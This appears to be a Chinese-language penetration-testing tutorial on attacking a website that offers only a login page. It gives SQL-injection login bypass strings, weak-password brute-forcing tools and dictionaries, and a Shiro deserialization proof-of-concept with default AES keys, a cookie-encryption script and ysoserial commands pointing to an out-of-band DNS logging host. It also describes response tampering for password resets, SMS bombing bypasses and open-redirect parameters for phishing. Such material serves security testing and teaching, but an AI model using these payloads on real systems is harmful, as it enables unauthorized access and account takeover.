前言
我們?cè)谶M(jìn)行滲透測(cè)試的時(shí)候,常常會(huì)遇到許多網(wǎng)站站點(diǎn),而有的網(wǎng)站僅僅是基于一個(gè)登陸接口進(jìn)行處理的。尤其是在內(nèi)網(wǎng)環(huán)境的滲透測(cè)試中,客戶常常丟給你一個(gè)登陸網(wǎng)站頁面,沒有測(cè)試賬號(hào),讓你自己進(jìn)行滲透測(cè)試,一開始經(jīng)驗(yàn)不足的話,可能會(huì)無從下手。今天就來簡(jiǎn)單說一下如何在只有一個(gè)登陸頁面的情況下,來進(jìn)行滲透測(cè)試。
0x00
在條件允許的情況下,我們可以拿在滲透測(cè)試的開始之前拿出我們的掃描器來進(jìn)行掃描,目前我們最常用的就是AWVS和Nessus,除此之外,我們還可以使用一些別的自動(dòng)化測(cè)試工具,例如Nikto掃描器,Appscan,W3af,以及最近長(zhǎng)亭科技的Xray掃描器,都可以試試。尤其是Xray掃描器,據(jù)說有許多小伙伴靠它挖到了許多漏洞。
以下是這些工具的一些使用方法,不進(jìn)行贅述
Nikto https://zhuanlan.zhihu.com/p/70225775
Xray https://chaitin.github.io/xray/#/
W3af https://www.freebuf.com/column/145984.html
Appscan https://zhuanlan.zhihu.com/p/28729371
0x01 SQL注入
萬能密碼繞過
如果我們能夠直接繞過登錄,來直接訪問系統(tǒng)內(nèi)部資源,那自然是最好不過的了。萬能密碼就是其中一最好用的一種,雖然存在的可能性不大,但是偶爾也是存在的,稍微嘗試一下也不會(huì)浪費(fèi)太多時(shí)間。
例如'or 1=1 –
"or "a"="a
萬能密碼在網(wǎng)上非常多,隨便搜一下就有
例如這樣,就能直接訪問后臺(tái)
登錄口SQL注入
有的系統(tǒng)在登錄口就存在SQL注入,目前我遇到過比較多的是Oracle以及MySQL的登錄口注入,我們可以在登錄處先抓一個(gè)包,然后根據(jù)抓包信息來構(gòu)造Payload。值得一提的是,有時(shí)候我們需要在Burp里修改一下發(fā)包格式(change body encoding),才能成功注入。
在這給個(gè)例子:
正常登錄報(bào)錯(cuò)
加一個(gè)引號(hào)
修改payload,以此返回?cái)?shù)據(jù)包不同來判斷存在SQL注入。
并且,這類的SQL注入并不罕見,在許多網(wǎng)站中都可以進(jìn)行嘗試,很有可能會(huì)存在此漏洞
0x02 明文傳輸/用戶名可枚舉/爆破弱口令
明文傳輸
可能是我們做滲透測(cè)試中,最常見的一種漏洞,實(shí)際上它并不能算得上是一種漏洞,僅僅只能說是一種不足之處而已,明文傳輸在網(wǎng)站上隨處可見,除了銀行網(wǎng)站,很有可能每一個(gè)密碼都是經(jīng)過特殊加密然后再進(jìn)行傳輸?shù)摹?/p>
用戶名可枚舉
此漏洞存在主要是因?yàn)轫撁鎸?duì)所輸入的賬號(hào)密碼進(jìn)行的判斷所回顯的數(shù)據(jù)不一樣,我們可以通過這點(diǎn)來進(jìn)行用戶名的枚舉,然后通過枚舉后的賬戶名來進(jìn)行弱口令的爆破。防御手段的話僅需要將用戶名與密碼出錯(cuò)的回顯變成一樣即可,例如用戶名或密碼出錯(cuò)。
爆破弱口令
弱口令可以說是滲透測(cè)試中,最最常見,也是危害“最大”的一種漏洞,因?yàn)楹翢o技術(shù)性,毫無新意,但是卻充滿了“破壞性”,尤其是在內(nèi)網(wǎng)環(huán)境中,弱口令更是無處不在。Web頁面最常用的爆破工具為Burp,我們通常使用Nmap掃描也可能掃出其他端口存在,例如3389,SSH等。
弱口令爆破工具推薦,詳情可看以下,不在贅述:
Hydra:https://yq.aliyun.com/articles/608406/
超級(jí)弱口令:鏈接:https://pan.baidu.com/s/1mkwnxu19Aq-KEVCWOZn99w 提取碼:blj3
復(fù)制這段內(nèi)容后打開百度網(wǎng)盤手機(jī)App,操作更方便哦
御劍RDP爆破: https://github.com/foryujian/yujianrdpcrack
Bruter: https://www.uedbox.com/post/8478/
此外,我們還可以根據(jù)網(wǎng)站域名,以及收集的一些信息來進(jìn)行定制化爆破,例如我在一次內(nèi)網(wǎng)滲透測(cè)試中,發(fā)現(xiàn)了管理員的名字縮寫為crj,然后我就生成了一堆密碼,最后成功登陸賬號(hào)密碼為crj112233。
定制化生成字典: http://tools.mayter.cn/
字典: https://github.com/rootphantomer/Blasting_dictionary
還有很多字典,可以在網(wǎng)上多收集一些,有時(shí)候你離Getshell,僅僅只差一個(gè)弱口令。
此外,有時(shí)候我們還可能遇到存在默認(rèn)密碼的系統(tǒng),在這給出一些網(wǎng)上公開的默認(rèn)賬戶密碼
0x03 掃描
目錄掃描
在我看來,這是最好用的目錄掃描工具:https://github.com/maurosoria/dirsearch ,DirSearch已經(jīng)成為了我日常滲透工作中密不可分的工具之一,并且我們可以多級(jí)別掃描,在枚舉子目錄的目錄,很多時(shí)候可以找到突破口。
除此之外,還有御劍:https://github.com/52stu/- 也是比較常用的
JS掃描
JS文件我們?cè)跐B透測(cè)試中也是經(jīng)常用到的東西,有時(shí)候我們可以在JS文件中找到我們平時(shí)看不到的東西,例如重置密碼的JS,發(fā)送短信的JS,都是有可能未授權(quán)可訪問的。JS掃描的話推薦使用JSFind: https://github.com/Threezh1/JSFinder
同時(shí)它也會(huì)提取頁面中的URL,簡(jiǎn)單舉例
nmap掃描
Nmap的強(qiáng)大功能能讓我們第一時(shí)間獲取網(wǎng)站的端口信息,而這些端口信息中常?梢越o予我們非常大的幫助,例如開放了3389端口,或者一些敏感端口的探測(cè),Nmap的使用方法相比不需要我再多說,每個(gè)安全工程師都必須要精通的一種工具,以下是我的一些端口小總結(jié),希望可以給與大家一點(diǎn)兒幫助。
在掃描目錄與JS這塊,要注意多次爆破,遍歷訪問多級(jí)域名的目錄與JS。
我就曾在一個(gè)學(xué)校網(wǎng)站中,使用Nmap對(duì)批量網(wǎng)段的探測(cè),獲得了一個(gè)登陸網(wǎng)站,并且在網(wǎng)站中遍歷目錄,獲得了一個(gè)test頁面,最后在這個(gè)頁面的JS文件中,獲取到了一個(gè)接口,通過這個(gè)接口重置了主登錄頁面的密碼。
0x04 框架漏洞
尋找CMS,或者網(wǎng)頁框架,以及某些廠商的服務(wù)存在漏洞
例如Apache中間件組件Shiro反序列化漏洞,這里簡(jiǎn)單說一下:
需要一個(gè)ysoserial.jar https://github.com/frohoff/ysoserial
以及默認(rèn)秘鑰
4AvVhmFLUs0KTA3Kprsdag==
2AvVhdsgUs0FSA3SDFAdag==
2AvVhdDFCVdfdfDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
kPH+bIxk5D2deZiIxcaaaA
wGiHplamyXlVB11UXWol8g==
6ZmI6I2j5Y+R5aSn5ZOlAA==
AsfawfsdfaAasdWWW==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
POC
from Crypto.Cipher import AES
from Crypto import Random
from base64 import b64encode
from base64 import b64decode
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def encrypt(key, text):
IV = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, IV=IV)
data = b64encode(IV + cipher.encrypt(pad(text)))
return data
key= b64decode('2AvVhdsgUs0FSA3SDFAdag==')
print encrypt(key, open('payload.dat','rb').read())
使用方法
1:java -jar ysoserial.jar URLDNS "你的ceye.io或者burp的collaborator client功能中">payload.dat
2:運(yùn)行python腳本,生成cookie
3:將cookie復(fù)制到burp發(fā)包,此時(shí)DNSlog就會(huì)記錄,我們可以再次構(gòu)造進(jìn)行命令執(zhí)行,在這不進(jìn)行深入。
致遠(yuǎn)A8-getshell: https://www.cnblogs.com/dgjnszf/p/11104594.html
Thinkphp: https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
Struts2: https://github.com/HatBoy/Struts2-Scan
weblogic: https://github.com/rabbitmask/WeblogicScan
以及各大Java反序列化漏洞等等,這里的漏洞都說不完了。
0x05 邏輯漏洞
尋找邏輯漏洞,例如忘記密碼,任意用戶注冊(cè)
任意重置密碼
例如
此時(shí)客戶端會(huì)發(fā)一個(gè)驗(yàn)證碼包,我們這是隨意輸入驗(yàn)證碼,發(fā)包,返回包。
返回包錯(cuò)誤的回顯為{"status":0}
將返回包的東西換成{"status":1}
即可重置密碼
烏云示例:http://www.anquan.us/static/bugs/wooyun-2013-039809.html
任意用戶注冊(cè)
爆破注冊(cè)頁面的驗(yàn)證碼,即可任意用戶注冊(cè)
同樣,這里的驗(yàn)證碼如果為四位數(shù)的話,有時(shí)候也可能存在可爆破,可進(jìn)行任意用戶重置密碼
短信轟炸
短信轟炸很常見,一般在發(fā)送驗(yàn)證碼后抓包,不斷repeate即可,如果做了一定防護(hù)的話,在添加空格,或者特殊符號(hào),或+86等都可以進(jìn)行繞過
未經(jīng)過防護(hù)的短信爆破十分常見
不完全的登錄
這個(gè)漏洞我找到過一次,就是在登錄頁面,隨意輸入任意的賬戶和密碼,然后抓包,修改返回包,騙過前端,從而獲得一定的權(quán)限,其功能不完善,但是依舊可以看到許多敏感數(shù)據(jù)。
邏輯漏洞這里要根據(jù)不同網(wǎng)站來進(jìn)行測(cè)試,邏輯漏洞的方式多種多樣,常常會(huì)遇到許多奇怪的姿勢(shì),例如cookie某字段為Guest,修改為admin即可更換用戶身份的,還需要在日常工作中多加總結(jié)。
0x06 禁用JS
禁用JS插件,查看頁面源代碼12
禁用JS和查看源代碼,有時(shí)候會(huì)有意想不到的驚喜。
例如某些重定向,某些權(quán)限缺失,在我們未授權(quán)進(jìn)入后臺(tái)一瞬間,就會(huì)重定向回去登錄頁面,而如果此時(shí)我們禁用了JS,則可以進(jìn)行一定權(quán)限的控制。
查看源代碼則不用多說,有的不大聰明的程序員可能會(huì)在源代碼里泄露一些不可告人的秘密,例如測(cè)試賬號(hào),還有我們可能會(huì)找到一些網(wǎng)站的后臺(tái)結(jié)構(gòu),以及JS接口。
0x07 URL重定向
URL重定向
URL重定向是我們滲透測(cè)試中非常常見的一個(gè)漏洞,一般出現(xiàn)在以下參數(shù)里,而登錄時(shí)常常也有這個(gè)URL重定向到后臺(tái)網(wǎng)站,我們修改這個(gè)后臺(tái)網(wǎng)站的URL即可跳轉(zhuǎn)到任意頁面,可用于釣魚頁面的制作
例如 http://www.aaa.com?url=aHR0cDovL2FkbWluLmFhYS5jb20=
url后面常會(huì)進(jìn)行base64編碼處理
常見URL跳轉(zhuǎn)參數(shù):
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
Domain
0x08 未授權(quán)訪問
各種未授權(quán)訪問,免登錄進(jìn)入后臺(tái)
未授權(quán)訪問在這里有更強(qiáng)的大佬總結(jié)了,其需要我們對(duì)端口進(jìn)行注意觀察。
https://xz.aliyun.com/t/6103
0x09 驗(yàn)證碼問題
驗(yàn)證碼可修改接受者
可將A賬號(hào)的修改密碼驗(yàn)證碼接受者修改為B,這樣A賬號(hào)的驗(yàn)證碼就會(huì)發(fā)到B的手機(jī)上,從而B可以重置A的賬號(hào)密碼
例如A賬號(hào)moblephone=13333888888 ,這點(diǎn)是可控的,我們修改為moblephone=18888888888,即可收到A賬號(hào)的重置驗(yàn)證碼
登錄驗(yàn)證碼可繞過
可能存在萬能驗(yàn)證碼0000或者9999,不過此類情況較為罕見。更多的情況為修改返回包,可能會(huì)出現(xiàn)可繞過邏輯判斷。
驗(yàn)證碼可爆破
驗(yàn)證碼失效的時(shí)間過長(zhǎng),并且為純數(shù)字或者過短字符,導(dǎo)致可被爆破。
驗(yàn)證碼回顯前端
有的網(wǎng)站驗(yàn)證碼會(huì)回顯到前端,只需要抓包即可獲得驗(yàn)證碼
驗(yàn)證碼不刷新
驗(yàn)證碼不會(huì)自動(dòng)刷新,導(dǎo)致我們可一碼多次使用,我們只需要輸入一次驗(yàn)證碼就可以讓我們能夠開始進(jìn)行暴力破解。
驗(yàn)證碼識(shí)別
這里使用PKAV的驗(yàn)證碼自動(dòng)識(shí)別
鏈接:https://pan.baidu.com/s/1-l16Nxse7SqQdgSiPZS2-A 提取碼:szo2
0x10 總結(jié)
簡(jiǎn)單的來說,遇到一個(gè)登陸站點(diǎn),我們需要做的時(shí)候有
1、條件允許的情況下開啟漏洞掃描
2、敏感信息的探測(cè),例如端口,目錄,JS文件
3、爆破弱口令
4、抓包看看是否存在邏輯漏洞,或者SQL注入進(jìn)行嘗試
5、尋找框架漏洞
PS:如果遇到某些大網(wǎng)站的主站登錄,例如銀行,建議放棄,尋找其他業(yè)務(wù),例如招聘站點(diǎn)登錄等。